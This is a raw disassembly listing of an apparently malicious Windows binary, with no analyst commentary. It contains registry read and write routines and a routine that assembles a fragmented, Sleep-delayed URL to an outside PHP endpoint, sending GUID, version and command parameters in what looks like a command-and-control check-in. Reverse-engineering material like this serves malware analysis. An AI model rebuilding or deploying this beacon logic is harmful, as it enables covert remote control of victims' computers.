mov ecx, [ebp-10h]
add ecx, 8
call dword_413194
mov edx, [ebp-10h]
mov dword ptr [edx], 80000001h
mov eax, [ebp-10h]
mov dword ptr [eax+30h], 0
mov ecx, [ebp-10h]
mov dword ptr [ecx+34h], 0
mov dword ptr [ebp-4], 0FFFFFFFFh
mov eax, [ebp-10h]
mov ecx, [ebp-0Ch]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset loc_412476
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 38h
mov [ebp-34h], ecx
mov dword ptr [ebp-4], 0
mov ecx, [ebp-34h]
call sub_408230
mov byte ptr [ebp-4], 1
mov eax, [ebp-34h]
mov dword ptr [eax+28h], 0
mov ecx, [ebp-34h]
mov edx, [ebp+18h]
mov [ecx+2Ch], edx
mov eax, [ebp-34h]
mov ecx, [ebp+1Ch]
mov [eax+34h], ecx
mov edx, [ebp-34h]
mov eax, [ebp+20h]
mov [edx], eax
mov ecx, [ebp-34h]
mov dword ptr [ecx+30h], 0
mov edx, dword_413178
mov eax, [edx]
push eax
push 5Ch
lea ecx, [ebp+8]
call dword_413174
mov [ebp-10h], eax
mov ecx, [ebp-10h]
push ecx
push 0
lea edx, [ebp-20h]
push edx
lea ecx, [ebp+8]
call dword_413170
mov [ebp-38h], eax
mov eax, [ebp-38h]
mov [ebp-3Ch], eax
mov byte ptr [ebp-4], 2
mov ecx, [ebp-3Ch]
push ecx
mov ecx, [ebp-34h]
add ecx, 18h
call dword_41317C
mov byte ptr [ebp-4], 1
lea ecx, [ebp-20h]
call dword_413168
mov edx, dword_413178
mov eax, [edx]
push eax
mov ecx, [ebp-10h]
add ecx, 1
push ecx
lea edx, [ebp-30h]
push edx
lea ecx, [ebp+8]
call dword_413170
mov [ebp-40h], eax
mov eax, [ebp-40h]
mov [ebp-44h], eax
mov byte ptr [ebp-4], 3
mov ecx, [ebp-44h]
push ecx
mov ecx, [ebp-34h]
add ecx, 8
call dword_41317C
mov byte ptr [ebp-4], 1
lea ecx, [ebp-30h]
call dword_413168
mov ecx, [ebp-34h]
call sub_407E59
mov dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp+8]
call dword_413168
mov eax, [ebp-34h]
mov ecx, [ebp-0Ch]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn 1Ch
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
mov [ebp-4], ecx
mov ecx, [ebp-4]
call sub_408290
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407E59 proc near ; CODE XREF: HSho:00407E1Ep
; HSho:00407FAEp
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp+var_C], ecx
mov eax, [ebp+var_C]
add eax, 4
push eax
push 20019h
push 0
mov ecx, [ebp+var_C]
add ecx, 18h
call dword_413188
push eax
mov ecx, [ebp+var_C]
mov edx, [ecx]
push edx
call dword_413004 ; RegOpenKeyExA
test eax, eax
jnz short loc_407EF7
mov [ebp+var_4], 4
lea eax, [ebp+var_4]
push eax
mov ecx, [ebp+var_C]
add ecx, 28h
push ecx
lea edx, [ebp+var_8]
push edx
push 0
mov ecx, [ebp+var_C]
add ecx, 8
call dword_413188
push eax
mov eax, [ebp+var_C]
mov ecx, [eax+4]
push ecx
call dword_413010 ; RegQueryValueExA
test eax, eax
jnz short loc_407EE2
mov edx, [ebp+var_C]
mov dword ptr [edx+30h], 1
mov eax, [ebp+var_C]
mov ecx, [eax+4]
push ecx
call dword_413000 ; RegCloseKey
mov edx, [ebp+var_C]
mov eax, [edx+28h]
jmp short loc_407EFD
; ---------------------------------------------------------------------------
loc_407EE2: ; CODE XREF: sub_407E59+68j
mov eax, [ebp+var_C]
mov ecx, [eax+4]
push ecx
call dword_413000 ; RegCloseKey
mov edx, [ebp+var_C]
mov eax, [edx+2Ch]
jmp short loc_407EFD
; ---------------------------------------------------------------------------
loc_407EF7: ; CODE XREF: sub_407E59+32j
mov eax, [ebp+var_C]
mov eax, [eax+2Ch]
loc_407EFD: ; CODE XREF: sub_407E59+87j
; sub_407E59+9Cj
mov esp, ebp
pop ebp
retn
sub_407E59 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 8
mov [ebp-8], ecx
lea eax, [ebp-4]
push eax
mov ecx, [ebp-8]
add ecx, 4
push ecx
push 0
push 20006h
push 0
push offset dword_419C8C
push 0
mov ecx, [ebp-8]
add ecx, 18h
call dword_413188
push eax
mov edx, [ebp-8]
mov eax, [edx]
push eax
call dword_41300C ; RegCreateKeyExA
test eax, eax
jz short loc_407F44
jmp short loc_407F86
; ---------------------------------------------------------------------------
loc_407F44: ; CODE XREF: HSho:00407F40j
push 4
mov ecx, [ebp-8]
add ecx, 28h
push ecx
push 4
push 0
mov ecx, [ebp-8]
add ecx, 8
call dword_413188
push eax
mov edx, [ebp-8]
mov eax, [edx+4]
push eax
call dword_413008 ; RegSetValueExA
test eax, eax
jnz short loc_407F79
mov ecx, [ebp-8]
mov dword ptr [ecx+30h], 1
loc_407F79: ; CODE XREF: HSho:00407F6Dj
mov edx, [ebp-8]
mov eax, [edx+4]
push eax
call dword_413000 ; RegCloseKey
loc_407F86: ; CODE XREF: HSho:00407F42j
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
mov [ebp-4], ecx
mov eax, [ebp-4]
cmp dword ptr [eax+30h], 0
jz short loc_407FAB
mov ecx, [ebp-4]
cmp dword ptr [ecx+34h], 0
jnz short loc_407FAB
mov edx, [ebp-4]
mov eax, [edx+28h]
jmp short loc_407FB3
; ---------------------------------------------------------------------------
loc_407FAB: ; CODE XREF: HSho:00407F98j
; HSho:00407FA1j
mov ecx, [ebp-4]
call sub_407E59
loc_407FB3: ; CODE XREF: HSho:00407FA9j
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407FC0 proc near ; CODE XREF: HSho:0040630Fp
; sub_406374+29p ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_407FC0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov [ebp+var_10], ecx
mov ecx, [ebp+var_10]
add ecx, 8
call sub_41151E
mov [ebp+var_4], 0
mov ecx, [ebp+var_10]
add ecx, 0Ch
call sub_41151E
mov [ebp+var_4], 0FFFFFFFFh
mov eax, [ebp+var_10]
mov ecx, [ebp+var_C]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
sub_407FC0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408020 proc near ; CODE XREF: sub_4064C6+Ap
; sub_4068AF+47p ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_408020
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov [ebp+var_10], ecx
mov [ebp+var_4], 0
mov ecx, [ebp+var_10]
add ecx, 0Ch
call sub_411512
mov [ebp+var_4], 0FFFFFFFFh
mov ecx, [ebp+var_10]
add ecx, 8
call sub_411512
mov ecx, [ebp+var_C]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
sub_408020 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408070 proc near ; CODE XREF: sub_406374+BFp
; sub_40671B+E9p ...
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov ecx, [ebp+var_4]
call sub_408090
mov eax, [eax+4]
mov esp, ebp
pop ebp
retn
sub_408070 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408090 proc near ; CODE XREF: sub_408070+Ap
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
mov eax, [eax]
sub eax, 0Ch
mov esp, ebp
pop ebp
retn
sub_408090 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4080B0 proc near ; CODE XREF: sub_406BA8+30p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov ecx, [ebp+arg_4]
call sub_4026A0
push eax
mov ecx, [ebp+arg_0]
call sub_4080D0
neg eax
sbb eax, eax
inc eax
pop ebp
retn 8
sub_4080B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4080D0 proc near ; CODE XREF: sub_4080B0+Fp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_4]
mov edx, [ecx]
push edx
call sub_4080F0
add esp, 8
mov esp, ebp
pop ebp
retn 4
sub_4080D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4080F0 proc near ; CODE XREF: sub_4080D0+11p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call dword_4131EC ; _mbscmp
add esp, 8
pop ebp
retn
sub_4080F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408110 proc near ; CODE XREF: HSho:00406C96p
; HSho:00406CC2p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_0]
mov [eax], ecx
mov edx, [ebp+var_4]
mov eax, [ebp+arg_4]
mov [edx+4], eax
mov ecx, [ebp+var_4]
mov edx, [ebp+arg_8]
mov [ecx+8], edx
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_C]
mov [eax+0Ch], ecx
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 10h
sub_408110 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408150 proc near ; CODE XREF: sub_406EDD+AAp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_4]
push ecx
call dword_413290 ; CopyRect
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 4
sub_408150 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408170 proc near ; CODE XREF: HSho:00406C7Bp
; HSho:00406C86p ...
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_408170 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408180 proc near ; CODE XREF: HSho:0040716Ap
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_4]
push ecx
call dword_413294 ; EqualRect
mov esp, ebp
pop ebp
retn 4
sub_408180 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4081A0 proc near ; CODE XREF: HSho:004071F9p
; HSho:00407213p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_0]
mov [eax], ecx
mov edx, [ebp+var_4]
mov eax, [ebp+arg_4]
mov [edx+4], eax
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 8
sub_4081A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4081D0 proc near ; CODE XREF: sub_407400+B0p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_0]
mov [eax], ecx
mov edx, [ebp+arg_4]
mov [eax+4], edx
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 8
sub_4081D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4081F0 proc near ; CODE XREF: HSho:0040764Ep
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
mov ecx, [eax]
cmp ecx, [ebp+arg_0]
jnz short loc_408217
mov edx, [ebp+var_4]
mov eax, [edx+4]
cmp eax, [ebp+arg_4]
jnz short loc_408217
mov [ebp+var_8], 1
jmp short loc_40821E
; ---------------------------------------------------------------------------
loc_408217: ; CODE XREF: sub_4081F0+11j
; sub_4081F0+1Cj
mov [ebp+var_8], 0
loc_40821E: ; CODE XREF: sub_4081F0+25j
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn 8
sub_4081F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408230 proc near ; CODE XREF: HSho:004076A6p
; HSho:0040776Ap ...
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_408230
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
mov [ebp+var_18], ecx
lea eax, [ebp+var_10]
push eax
mov ecx, [ebp+var_18]
add ecx, 8
call dword_41316C
mov [ebp+var_4], 0
lea ecx, [ebp+var_14]
push ecx
mov ecx, [ebp+var_18]
add ecx, 18h
call dword_41316C
mov [ebp+var_4], 0FFFFFFFFh
mov eax, [ebp+var_18]
mov ecx, [ebp+var_C]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
sub_408230 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408290 proc near ; CODE XREF: HSho:00407900p
; HSho:00407E50p ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_408290
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov [ebp+var_10], ecx
mov [ebp+var_4], 0
mov ecx, [ebp+var_10]
add ecx, 18h
call dword_413168
mov [ebp+var_4], 0FFFFFFFFh
mov ecx, [ebp+var_10]
add ecx, 8
call dword_413168
mov ecx, [ebp+var_C]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
sub_408290 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4082E0 proc near ; DATA XREF: HSho:00417004o
push ebp
mov ebp, esp
call sub_4082EF
call sub_4082FE
pop ebp
retn
sub_4082E0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4082EF proc near ; CODE XREF: sub_4082E0+3p
push ebp
mov ebp, esp
mov ecx, offset dword_419C90
call sub_4095C0
pop ebp
retn
sub_4082EF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4082FE proc near ; CODE XREF: sub_4082E0+8p
push ebp
mov ebp, esp
push offset sub_408310
call sub_411672
add esp, 4
pop ebp
retn
sub_4082FE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408310 proc near ; DATA XREF: sub_4082FE+3o
push ebp
mov ebp, esp
mov ecx, offset dword_419C90
call sub_409540
pop ebp
retn
sub_408310 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40831F proc near ; CODE XREF: sub_4091F5+F9p
var_28DC = dword ptr -28DCh
var_28D8 = dword ptr -28D8h
var_28D4 = dword ptr -28D4h
var_28D0 = dword ptr -28D0h
var_28CA = word ptr -28CAh
var_28C8 = dword ptr -28C8h
var_28C4 = dword ptr -28C4h
var_28C0 = dword ptr -28C0h
var_28BC = dword ptr -28BCh
var_28B8 = dword ptr -28B8h
var_28B4 = dword ptr -28B4h
var_28B0 = dword ptr -28B0h
var_28AC = dword ptr -28ACh
var_28A8 = dword ptr -28A8h
var_28A4 = dword ptr -28A4h
var_28A0 = dword ptr -28A0h
var_289C = dword ptr -289Ch
var_2898 = dword ptr -2898h
var_2894 = dword ptr -2894h
var_2890 = dword ptr -2890h
var_288C = dword ptr -288Ch
var_2888 = dword ptr -2888h
var_2884 = dword ptr -2884h
var_2880 = dword ptr -2880h
var_287C = dword ptr -287Ch
var_2878 = dword ptr -2878h
var_2874 = dword ptr -2874h
var_2870 = dword ptr -2870h
var_286C = dword ptr -286Ch
var_2868 = dword ptr -2868h
var_2864 = dword ptr -2864h
var_2860 = dword ptr -2860h
var_285C = dword ptr -285Ch
var_2858 = dword ptr -2858h
var_2854 = dword ptr -2854h
var_2850 = dword ptr -2850h
var_284C = dword ptr -284Ch
var_2848 = dword ptr -2848h
var_2844 = dword ptr -2844h
var_2840 = dword ptr -2840h
var_283C = dword ptr -283Ch
var_2838 = dword ptr -2838h
var_2834 = dword ptr -2834h
var_2830 = dword ptr -2830h
var_282C = dword ptr -282Ch
var_2828 = dword ptr -2828h
var_2824 = dword ptr -2824h
var_2820 = dword ptr -2820h
var_281C = dword ptr -281Ch
var_2818 = byte ptr -2818h
var_2814 = dword ptr -2814h
var_2810 = dword ptr -2810h
var_280C = dword ptr -280Ch
var_2808 = byte ptr -2808h
var_2804 = dword ptr -2804h
var_2800 = byte ptr -2800h
var_27FC = byte ptr -27FCh
var_27F8 = byte ptr -27F8h
var_27F4 = byte ptr -27F4h
var_27F0 = byte ptr -27F0h
var_27EC = byte ptr -27ECh
var_27E8 = byte ptr -27E8h
var_27E4 = byte ptr -27E4h
var_27E0 = byte ptr -27E0h
var_27DC = byte ptr -27DCh
var_27D8 = byte ptr -27D8h
var_27D4 = byte ptr -27D4h
var_27D0 = byte ptr -27D0h
var_27CC = byte ptr -27CCh
var_27C8 = byte ptr -27C8h
var_27C4 = dword ptr -27C4h
var_27C0 = byte ptr -27C0h
var_27BC = byte ptr -27BCh
var_27B8 = dword ptr -27B8h
var_27B4 = dword ptr -27B4h
var_27B0 = byte ptr -27B0h
var_27AC = byte ptr -27ACh
var_279C = byte ptr -279Ch
var_1F9C = byte ptr -1F9Ch
var_1F98 = dword ptr -1F98h
var_1F94 = dword ptr -1F94h
var_1F90 = byte ptr -1F90h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = byte ptr -48h
var_38 = byte ptr -38h
var_34 = byte ptr -34h
var_24 = byte ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = byte ptr -18h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_40831F
mov eax, large fs:0
push eax
mov large fs:0, esp
mov eax, 28D0h
call sub_4115D0
mov [ebp+var_282C], ecx
mov [ebp+var_1F98], 0
mov [ebp+var_38], 1
lea ecx, [ebp+var_1C]
call sub_409CB0
mov [ebp+var_4], 0
lea ecx, [ebp+var_18]
call sub_41151E
mov byte ptr [ebp+var_4], 1
lea ecx, [ebp+var_24]
call sub_41151E
mov byte ptr [ebp+var_4], 2
mov [ebp+var_1F94], 0
lea ecx, [ebp+var_14]
call sub_41151E
mov byte ptr [ebp+var_4], 3
mov eax, [ebp+var_282C]
mov ecx, [eax]
push ecx
push offset aD_0 ; "%d"
lea edx, [ebp+var_48]
push edx
call dword_4131E4 ; sprintf
add esp, 0Ch
lea eax, [ebp+var_48]
push eax
push offset asc_41750C ; "&x="
lea ecx, [ebp+var_27BC]
push ecx
mov ecx, [ebp+var_282C]
add ecx, 8
call sub_405693
mov [ebp+var_2830], eax
mov edx, [ebp+var_2830]
mov [ebp+var_2834], edx
mov byte ptr [ebp+var_4], 4
mov eax, [ebp+var_2834]
push eax
push offset aI_0 ; "&i="
lea ecx, [ebp+var_27C0]
push ecx
mov ecx, [ebp+var_282C]
add ecx, 8
call sub_40558C
mov [ebp+var_2838], eax
mov edx, [ebp+var_2838]
mov [ebp+var_283C], edx
mov byte ptr [ebp+var_4], 5
mov eax, [ebp+var_283C]
push eax
push offset aP_1 ; "&p="
push offset dword_41BCD0
push offset aCmd_0 ; "&cmd="
mov ecx, [ebp+var_282C]
add ecx, 10h
push ecx
mov edx, esp
mov [ebp+var_27C4], esp
push ecx
mov ecx, edx
call sub_411506
mov [ebp+var_2840], eax
lea eax, [ebp+var_27C8]
push eax
mov ecx, [ebp+var_282C]
add ecx, 8
call sub_402FAF
mov [ebp+var_2844], eax
mov ecx, [ebp+var_2844]
mov [ebp+var_2848], ecx
mov byte ptr [ebp+var_4], 6
mov edx, [ebp+var_2848]
push edx
push offset aGuid ; "&GUID="
lea eax, [ebp+var_27CC]
push eax
mov ecx, [ebp+var_282C]
add ecx, 8
call sub_405327
mov [ebp+var_284C], eax
mov ecx, [ebp+var_284C]
mov [ebp+var_2850], ecx
mov byte ptr [ebp+var_4], 7
mov edx, [ebp+var_2850]
push edx
push offset aConfigversion ; "&configversion="
mov eax, [ebp+var_282C]
add eax, 1Ch
push eax
push offset aVersion ; "&version="
lea ecx, [ebp+var_27D0]
push ecx
call sub_41154E
mov [ebp+var_2854], eax
mov edx, [ebp+var_2854]
mov [ebp+var_2858], edx
mov byte ptr [ebp+var_4], 8
mov eax, [ebp+var_2858]
push eax
lea ecx, [ebp+var_27D4]
push ecx
call sub_41152A
mov [ebp+var_285C], eax
mov edx, [ebp+var_285C]
mov [ebp+var_2860], edx
mov byte ptr [ebp+var_4], 9
mov eax, [ebp+var_2860]
push eax
lea ecx, [ebp+var_27D8]
push ecx
call sub_411524
mov [ebp+var_2864], eax
mov edx, [ebp+var_2864]
mov [ebp+var_2868], edx
mov byte ptr [ebp+var_4], 0Ah
mov eax, [ebp+var_2868]
push eax
lea ecx, [ebp+var_27DC]
push ecx
call sub_41152A
mov [ebp+var_286C], eax
mov edx, [ebp+var_286C]
mov [ebp+var_2870], edx
mov byte ptr [ebp+var_4], 0Bh
mov eax, [ebp+var_2870]
push eax
lea ecx, [ebp+var_27E0]
push ecx
call sub_411524
mov [ebp+var_2874], eax
mov edx, [ebp+var_2874]
mov [ebp+var_2878], edx
mov byte ptr [ebp+var_4], 0Ch
mov eax, [ebp+var_2878]
push eax
lea ecx, [ebp+var_27E4]
push ecx
call sub_41152A
mov [ebp+var_287C], eax
mov edx, [ebp+var_287C]
mov [ebp+var_2880], edx
mov byte ptr [ebp+var_4], 0Dh
mov eax, [ebp+var_2880]
push eax
lea ecx, [ebp+var_27E8]
push ecx
call sub_411524
mov [ebp+var_2884], eax
mov edx, [ebp+var_2884]
mov [ebp+var_2888], edx
mov byte ptr [ebp+var_4], 0Eh
mov eax, [ebp+var_2888]
push eax
lea ecx, [ebp+var_27EC]
push ecx
call sub_41152A
mov [ebp+var_288C], eax
mov edx, [ebp+var_288C]
mov [ebp+var_2890], edx
mov byte ptr [ebp+var_4], 0Fh
mov eax, [ebp+var_2890]
push eax
lea ecx, [ebp+var_27F0]
push ecx
call sub_411524
mov [ebp+var_2894], eax
mov edx, [ebp+var_2894]
mov [ebp+var_2898], edx
mov byte ptr [ebp+var_4], 10h
mov eax, [ebp+var_2898]
push eax
lea ecx, [ebp+var_27F4]
push ecx
call sub_41152A
mov [ebp+var_289C], eax
mov edx, [ebp+var_289C]
mov [ebp+var_28A0], edx
mov byte ptr [ebp+var_4], 11h
mov eax, [ebp+var_28A0]
push eax
lea ecx, [ebp+var_27F8]
push ecx
call sub_411524
mov [ebp+var_28A4], eax
mov edx, [ebp+var_28A4]
mov [ebp+var_28A8], edx
mov byte ptr [ebp+var_4], 12h
mov eax, [ebp+var_28A8]
push eax
lea ecx, [ebp+var_27FC]
push ecx
call sub_41152A
mov [ebp+var_28AC], eax
mov edx, [ebp+var_28AC]
mov [ebp+var_28B0], edx
mov byte ptr [ebp+var_4], 13h
mov eax, [ebp+var_28B0]
push eax
lea ecx, [ebp+var_2800]
push ecx
call sub_41152A
mov [ebp+var_28B4], eax
mov edx, [ebp+var_28B4]
mov [ebp+var_28B8], edx
mov byte ptr [ebp+var_4], 14h
mov eax, [ebp+var_28B8]
push eax
lea ecx, [ebp+var_14]
call sub_411518
mov byte ptr [ebp+var_4], 13h
lea ecx, [ebp+var_2800]
call sub_411512
mov byte ptr [ebp+var_4], 12h
lea ecx, [ebp+var_27FC]
call sub_411512
mov byte ptr [ebp+var_4], 11h
lea ecx, [ebp+var_27F8]
call sub_411512
mov byte ptr [ebp+var_4], 10h
lea ecx, [ebp+var_27F4]
call sub_411512
mov byte ptr [ebp+var_4], 0Fh
lea ecx, [ebp+var_27F0]
call sub_411512
mov byte ptr [ebp+var_4], 0Eh
lea ecx, [ebp+var_27EC]
call sub_411512
mov byte ptr [ebp+var_4], 0Dh
lea ecx, [ebp+var_27E8]
call sub_411512
mov byte ptr [ebp+var_4], 0Ch
lea ecx, [ebp+var_27E4]
call sub_411512
mov byte ptr [ebp+var_4], 0Bh
lea ecx, [ebp+var_27E0]
call sub_411512
mov byte ptr [ebp+var_4], 0Ah
lea ecx, [ebp+var_27DC]
call sub_411512
mov byte ptr [ebp+var_4], 9
lea ecx, [ebp+var_27D8]
call sub_411512
mov byte ptr [ebp+var_4], 8
lea ecx, [ebp+var_27D4]
call sub_411512
mov byte ptr [ebp+var_4], 7
lea ecx, [ebp+var_27D0]
call sub_411512
mov byte ptr [ebp+var_4], 6
lea ecx, [ebp+var_27CC]
call sub_411512
mov byte ptr [ebp+var_4], 5
lea ecx, [ebp+var_27C8]
call sub_411512
mov byte ptr [ebp+var_4], 4
lea ecx, [ebp+var_27C0]
call sub_411512
mov byte ptr [ebp+var_4], 3
lea ecx, [ebp+var_27BC]
call sub_411512
mov [ebp+var_20], 0
push offset aHtt ; "htt"
lea ecx, [ebp+var_279C]
push ecx
call dword_4130CC ; lstrcpyA
push 22h
call dword_4130E0 ; Sleep
push offset aP ; "p://"
lea edx, [ebp+var_279C]
push edx
call dword_413074 ; lstrcatA
push 1Ch
call dword_4130E0 ; Sleep
push offset aWr_mc ; "wr.mc"
lea eax, [ebp+var_279C]
push eax
call dword_413074 ; lstrcatA
push 21h
call dword_4130E0 ; Sleep
push offset aBoo_co ; "boo.co"
lea ecx, [ebp+var_279C]
push ecx
call dword_413074 ; lstrcatA
push 1Eh
call dword_4130E0 ; Sleep
push offset aMReta ; "m/reta"
lea edx, [ebp+var_279C]
push edx
call dword_413074 ; lstrcatA
push 1Fh
call dword_4130E0 ; Sleep
push offset aDpu_php? ; "dpu.php?"
lea eax, [ebp+var_279C]
push eax
call dword_413074 ; lstrcatA
lea ecx, [ebp+var_14]
call sub_4026A0
push eax
lea ecx, [ebp+var_279C]
push ecx
call dword_413074 ; lstrcatA
lea edx, [ebp+var_20]
push edx
lea eax, [ebp+var_279C]
push eax
mov ecx, [ebp+var_282C]
add ecx, 8
call sub_402F1E
mov [ebp+var_10], eax
cmp [ebp+var_10], 64h
jnb short loc_408902
mov [ebp+var_2804], 0
mov byte ptr [ebp+var_4], 2
lea ecx, [ebp+var_14]
call sub_411512
mov byte ptr [ebp+var_4], 1
lea ecx, [ebp+var_24]
call sub_411512
mov byte ptr [ebp+var_4], 0
lea ecx, [ebp+var_18]
call sub_411512
mov [ebp+var_4], 0FFFFFFFFh
lea ecx, [ebp+var_1C]
call sub_4041A5
mov eax, [ebp+var_2804]
jmp loc_408D91
; ---------------------------------------------------------------------------
loc_408902: ; CODE XREF: sub_40831F+599j
mov ecx, [ebp+var_10]
add ecx, 1
push ecx
mov edx, [ebp+var_20]
push edx
lea eax, [ebp+var_1F90]
push eax
call dword_4130C8 ; lstrcpynA
push 19h
call dword_4130E0 ; Sleep
mov ecx, [ebp+var_10]
mov [ebp+ecx+var_1F90], 0
mov edx, [ebp+var_10]
push edx
mov eax, [ebp+var_20]
push eax
lea ecx, [ebp+var_2808]
push ecx
mov ecx, [ebp+var_282C]
add ecx, 8
call sub_4030F7
mov [ebp+var_28BC], eax
mov edx, [ebp+var_28BC]
mov [ebp+var_28C0], edx
mov byte ptr [ebp+var_4], 15h
mov ecx, [ebp+var_28C0]
call sub_4026A0
push eax
lea eax, [ebp+var_1F90]
push eax
call dword_4130CC ; lstrcpyA
mov byte ptr [ebp+var_4], 3
lea ecx, [ebp+var_2808]
call sub_411512
lea ecx, [ebp+var_1F90]
push ecx
lea ecx, [ebp+var_1C]
call sub_409670
push 19h
call dword_4130E0 ; Sleep
lea ecx, [ebp+var_1C]
call sub_409720
cmp eax, 64h
jnb short loc_408A03
lea ecx, [ebp+var_1C]
call sub_4096F0
push eax
call dword_413274
mov [ebp+var_280C], 0FFFFFFFFh
